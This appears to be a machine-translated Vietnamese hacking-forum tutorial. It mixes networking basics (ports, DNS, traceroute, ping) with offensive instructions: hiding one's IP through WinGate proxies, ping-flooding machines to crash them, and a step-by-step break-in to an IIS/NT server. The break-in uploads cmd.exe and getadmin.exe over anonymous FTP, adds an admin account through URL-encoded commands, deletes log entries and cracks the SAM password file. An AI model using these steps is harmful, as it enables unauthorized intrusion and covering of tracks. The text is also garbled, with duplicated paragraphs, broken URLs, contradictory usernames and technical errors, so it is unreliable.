The most basic insights to becoming a Hacker - Part 2

Vitual port is a natural number wrapped in TCP (Transmission Control Protocol) and UDP (User Diagram Protocol) header. As everyone knows, Windows can run multiple programs at once, each with its own port for transferring and receiving data.

Vitual port is a natural number wrapped in TCP (Transmission Control Protocol) and UDP (User Diagram Protocol) header. As everyone knows, Windows can run multiple programs at once, each with its own port for transferring and receiving data.

For example, if a machine has an IP address of 127.0.0.1 running WebServer, FTP_Server, POP3 server, . these services are run on 1 IP address of 127.0.0.1, when a packet is sent to the machine Does our feature distinguish which service the packet goes into, WebServer or FTP server or SMTP? That's why Port appeared. Each service has a default port number, FTP example has a default port of 21, web service has default port of 80, POP3 is 110, SMTP is 25, .

The network administrator can change this default port number, if you do not know the port number on a server, you cannot connect to that service. You've probably heard of PORT MAPPING but probably don't know what it is and how it functions. Port mapping is simply a process of converting the default port number of a service to another number. For example, the default Port of WebServer is 80, but sometimes you may still see *http://www.xxx.com:8080* , 8080 here is the port number of the host xxx but has been managed by this host " map "from 80 to 8080.

(Document of HVA)

Welcome to read part 1: The most basic insights to become a Hacker - Part 1

15. What is DNS?

DNS stands for Domain Name System. A DNS server waits for a connection at port number 53, which means that if you want to connect to that server, you must connect to port number 53. The DNS server transfers the hostname with letters into the corresponding digits and vice versa. For example: 127.0.0.1 -> localhost and localhost ---> 127.0.0.1.

16. Something about Wingate

WinGate is a simple program that allows you to split out connections. For example, you can share 1 modem with 2 or more machines. WinGate used with many different proxies can hide you.

How can Wingate hide you? Follow me: Please telnet on port 23 on the server running WinGate telnet proxy and you will have a WinGate prompt>. At this prompt, type the server name, the same space and the port you want to connect to. For example:

CODE
telnet wingate.net
WinGate> victim.com 23

We telnet to port 23 because this is the default port when you install Wingate. Now the IP on the machine that the victim has captured is the IP of the server hosting Wingate proxy.

How to find Wingate?

+ If you want to find static WinGates IP (constant IP) then go to yahoo or a cable modem search page. Search cable modems because many cable modems have WinGate so they can share its wide cable modems for other devices in the same home. Or you can use Port or Domain scanners and scan Port 1080.

+ To find dynamic IP (IP changes every time the user connects to the internet) of WinGates you can use Domscan or other scanning programs. If you use Domscan, enter any IP in the first box and number 23 in the second box. Once you have the results, try telnet to the IP addresses you have searched for (instructed above), if If it appears 'Wingate>' then you have found the correct machine using Wingate.

+ According to my experience, please down the wingatescanner about it, it has a lot of online.

17. Something about Traceroute

Traceroute is a program that allows you to identify packets of packets from your computer to the target system on the Internet.

See the following example:

CODE
C: windows> tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms

12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms

I need to know the path from my computer to a host on the Internet with the ip address is 203.94.12.54. I need to tracert to it! As you can see above, packets from the machine I want to reach 203.94.12.54 must go through 13 hops on the network. This is the path of packets.

Take a look at the next example:

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 bytes packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms

+ The first line indicates the hostname and IP address of the target system. This line also tells us the TTL value of = 30 and the size of the datagram is 40 bytes (20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).

+ The second line indicates that the first router that received the datagram is 202.xy.34.12, the value of TTL when sent to this router is 1. This router will send back to the program traceroute an ICMP message error "Time Exceeded". Traceroute will forward one datagram to the target system.

+ The third line, xyz.com (202.xx.12.34) received a datagram with TTL = 1 (the first router dropped one before - TTL = 2-1 = 1). However, xyz.com is not a router, it sends back for traceroute an ICMP error message "Port Unreachable". Upon receiving this ICMP message, traceroute will know that it has reached the target xyz.com system and ends the task here.

+ In case the router does not respond after 5 seconds, the traceroute will print a "*" asterisk (unknown) and continue sending another datagram to the destination host!

Attention:

1. In Windows: tracert hostname
2. In Unix: traceroute hostname

(Documents by viethacker.net)

18. Ping and how to use

Ping is a very simple concept but very useful for network diagnostics. The biography of the word "ping" is as follows: Ping is a sound when a submarine wants to know if another object is near him or not, if there is an object near the submarine, the sound will hit The object and the echo will be "pong" then the submarine will know what is near.

On the Internet, the Ping concept is very similar to its biography as mentioned above. The Ping command sends an ICMP (Internet Control Message Protocol) packet to the host, if that host "pong" means that the host exists (or is reachable). Ping can also help us know how much time a data packet goes from its computer to a particular

host.

Ping is easy, just open MS-DOS, and type "ping address_ip", by default it will ping 4 times, but you can also type

CODE

"ping ip.address -t"

This will make the ping machine forever. To change the ping size do the following:

CODE

"ping -l (size) address_ip"

The ping is to send a packet to a computer, then see how long it takes to see the packet and see how long the packet goes back, this way determines the speed of the connection, and the time it takes. Let a packet go and go back and divide four (called "trip time"). Ping can also be used to slow or crash the system with ping flood. Windows 98 hangs after a minute of ping flood (The connection's buffer overflows - there are many connections, so Windows decides to give it a break). A "ping flood" attack will take up a lot of your bandwidth, and you must have greater bandwidth than the opponent (unless the opponent is a Windows 98 machine and you have an average modem, that way you will defeat the enemy after approximately one minute of ping flood). Ping flood is not very effective for slightly stronger opponents. Unless you have a lot of lines and you control a relative number of servers that ping together, the total bandwidth is greater than the opponent.

Note: DOS's -t option does not cause ping flood, it only pings the target continuously, with intervals between two consecutive pings. On all Unix or Linux systems, you can use ping -f to cause real flooding. The fact is that you must ping -f if you use a POSIX-compatible (POSIX - Operating System Interface based UniX) version, otherwise it will not be a true Unix / Linux version, so if you use a system If it considers itself Unix or Linux, it will have the -f parameter.

(Documents of HVA and viethacker.net)

19. Window NT intrusion techniques from the Internet

This is the first hack lesson that I practiced when I started researching hacking, now I will show it to you. You will need to have some time to do it because it is easy but difficult. I will start:
First you need to find a server running IIS:

Next go to DOS and type "FTP". Example:

c: Ftp www.dodgyinc.com

(This page when I practice is still possible, now I don't know if they fix it, if you have any other page, please post it for everyone to do)

If connect succeeds, you will see some lines similar to this:

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):

What we see above contains very important information, which tells us the computer's Netbios name as "Vdodgy". From this you can deduce the name that is used for NT to allow it to be exploited, the default that the FTP service assigns it if it has not been renamed to be 'IUSR_VDODGY'. Remember, it will be useful for us. Enter "anonymous" in the user it will appear the following line:

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

Now the password will be anything you don't know, however, try typing the password 'anonymous'. If it is wrong, please log in to your FTP device again, remember that when you come back this time, don't use impersonation (anonymous) but use "Guest", try again passwd with 'guest'. Come on.

Now type the command in DOS:

CODE
Cd / c

And will see the results if you have successfully hacked, now quickly find the directory "cgi-bin". If you're lucky, you'll find it easy because usually the management system has put "cgi-bin" into the place we just invaded to make it easier for their managers to control the network. The cgi-bin directory may contain programs that you can use to run from your Web browser. Let's start 'mess' greenbiggrin.gif greenbiggrin.gif.

First, go to the cgi-bin directory and use the 'Binary' command (you may not need to use this command), then type the command 'put cmd.exe'. Next, you need to have a hack file to install in this directory, look online to get the 2 most important files that are "getadmin.exe" and "gasys.dll". Download them, once you have it, install it in the cgi-bin directory. Ok, if everything is done, close the DOS window.

Now type the following address on your browser:

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe? IUSR_VDODGY

After a few seconds you will get the answer as below:

CODE
CGI Error
L?i Application CGI ?ã xác ??nh không có th? thoát l?i m?t complete set c?a HTTP headers. The headers it ?ã có ?ã có:
Congratulations, now account IUSR_VDODGY have administrator rights!

So you've impersonated the admin to infiltrate the system, now you need to create an account yourself, type the following line in IE:

http://www.dodgyinc.com/cgi- bin / cmd.exe? / c% 20c: winntsystem32net.exe% 20user% 2 0hacker% 20toilahacker% 20 / add

The above command will give you an account login to the user: anhdenday and password: toilahacker. Now make this user have an admin account, just type IE on the command:

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe? anhdenday

So that's it, please disconnect and go to Start Menu -> find then search computer "www.dodgyinc.com". When you find it, go to explore, explore NT will open you or enter the user and password to open it (my user: anhdenday and password: toilahacker).

The problem is that when you hack into this system, it will be recorded, so to remove the trace go to "Winntsystem32logfiles" open the log file and then delete the information related to you, then save them. If you want to get a message about intrusion sharing, change the date on your computer with the following URL:

http://www.dodgyinc.com/cgi-bin/cm d.exe? / c% 20date% 2030/04/03

Then you delete the file "getadmin.exe", and "gasys.dll" from "cgi-bin". The purpose when we invade this system is' admin 'pass of admin so that the next time it is entered properly, so look for the SAM file (containing admin and member's pass) in the system and then use the program' l0pht crack 'to crack pass (Instructions on how to use' l0pht crack v 3.02 'I posted already, please do your own research). Here is the link: http://vnhacker.org/forum/?act=ST&f = 6 & t = 11566 & s =

When the crack is complete, you already have the admin and the admin's password, now delete the user account (my 'anhdenday') for safety. What you can do in the system is optional, but don't delete all of their documents, they are very sorry.

How do you feel, trouble? When I tried hacking this way, I had to dig for 4 hours, if you were used to it, the second time you would lose less time.

In Part 3, I will discuss Linux operating system, how to disconnect a website's password protection, and how to hack a simple website, etc.

Out of part 2

Author: Anhdenday - HVAOnline.net